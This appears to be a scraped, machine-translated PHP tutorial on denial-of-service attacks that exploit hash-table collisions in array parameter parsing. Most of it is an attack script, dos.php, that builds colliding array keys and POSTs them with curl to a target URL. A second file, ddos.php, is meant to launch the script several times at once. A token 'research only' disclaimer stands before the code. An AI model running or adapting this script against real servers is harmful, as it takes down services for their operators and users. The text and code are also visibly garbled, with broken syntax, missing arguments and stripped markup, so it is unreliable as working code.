Php method Analysis of DDoS attack using hash conflict vulnerability, hashddos_php tutorial

PHP uses hash conflict vulnerability for DDoS attack analysis, Hashddos

In this paper, we analyze the method of using hash conflict vulnerability in PHP for DDoS attack. Share to everyone for your reference. The specific analysis is as follows:

first of all: The content of this article is only used for research and learning, do not use illegal!

The last mentioned hash table collision vulnerability, including Java, Python, PHP, and many other common languages are not spared, tonight we will actually see its power.

Attack principle:

By post a set of well-pieced array parameters to the target server, after reaching the service end, the language underlying processing of the received array parameters, due to the existence of the vulnerability caused a large CPU consumption, resulting in server resource exhaustion.
No fancy tricks, just use PHP to see the effect of simple implementation, point to stop.

Files: dos.php

Destination address//As long as the destination address exists, do not care what it is $host = ' http://127.0.0.1/test.php '; $data = "; $size = POW (2); for ($key =0, $max = ($size-1) * $SIZE; $key <= $max; $key + = $size) {  $data. = ' &array['. $key. ']=0 ';} $ret = Curl ($host, LTrim ($data, ' & '); Var_dump ($ret); Function Curl ($url, $post, $timeout =) {  $ch = Curl_init ();  curl_setopt ($ch, Curlopt_returntransfer, true);  curl_setopt ($ch, Curlopt_timeout, $timeout);   curl_setopt ($ch, Curlopt_connecttimeout, $timeout-5);  curl_setopt ($ch, Curlopt_httpheader, Array (' Expect: '));  curl_setopt ($ch, Curlopt_url, $url);  curl_setopt ($ch, Curlopt_post, true);  curl_setopt ($ch, Curlopt_postfields, $post);  $output = curl_exec ($ch);  if ($output = = = False) return false;  $info = Curl_getinfo ($ch);  $http _code = $info [' Http_code '];  if ($http _code = = 404) return false;  Curl_close ($ch);  return $output;}

Files: ddos.php

   
 
  Ddos   <?php for ($i =0; $i <5; $i + +) {//concurrent number   echo ';}?>  

I hope this article is helpful to everyone's PHP programming.

http://www.bkjia.com/PHPjc/974680.html www.bkjia.com true http://www.bkjia.com/PHPjc/974680.html techarticle PHP uses the hash conflict vulnerability for DDoS attack analysis, Hashddos This article analyzes the PHP use of hash conflict vulnerability to DDoS attack method. Share to everyone for your reference. Specific points ...

